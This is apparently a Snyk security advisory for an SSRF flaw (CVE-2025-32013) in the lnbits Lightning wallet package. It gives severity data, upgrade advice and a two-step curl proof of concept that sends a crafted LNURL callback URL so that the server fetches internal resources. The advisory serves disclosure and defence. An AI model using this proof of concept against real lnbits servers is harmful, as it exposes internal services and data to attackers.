Server-side Request Forgery (SSRF) Affecting lnbits package, versions [,1.0.0rc8)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.01% (2nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-LNBITS-9720062
  • published16 Apr 2025
  • disclosed7 Apr 2025
  • creditXBOW Security

Introduced: 7 Apr 2025

NewCVE-2025-32013  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade lnbits to version 1.0.0rc8 or higher.

Overview

lnbits is a LNbits, free and open-source Lightning wallet and accounts system.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the LNURL authentication callback process. An attacker can make the application send HTTP requests to arbitrary internal network locations, potentially exposing sensitive information or accessing internal services that should not be accessible from the internet by specifying a malicious callback URL.

Note:

This is only exploitable if the attacke ris authenticated, has the ability to create a wallet and can obtain an admin key.

PoC

  1. Create a new wallet account to get an admin key:
curl -X POST http://target:5000/api/v1/account -d '{"name":"test"}'
  1. Use the obtained admin key to send a crafted LNURL authentication request:
curl -X POST http://target:5000/api/v1/lnurlauth \
  -H "X-Api-Key: <admin_key>" \
  -H "Content-Type: application/json" \
  -d '{
    "callback": "http://target-internal-server/?tag=login&k1=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
    "k1": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
    "sig": "0"*128,
    "key": "0"*64
  }'

The application will make an HTTP request to the internal URL specified in the callback parameter and return its contents in the response, allowing access to internal resources that should not be accessible.

References

CVSS Base Scores

version 4.0
version 3.1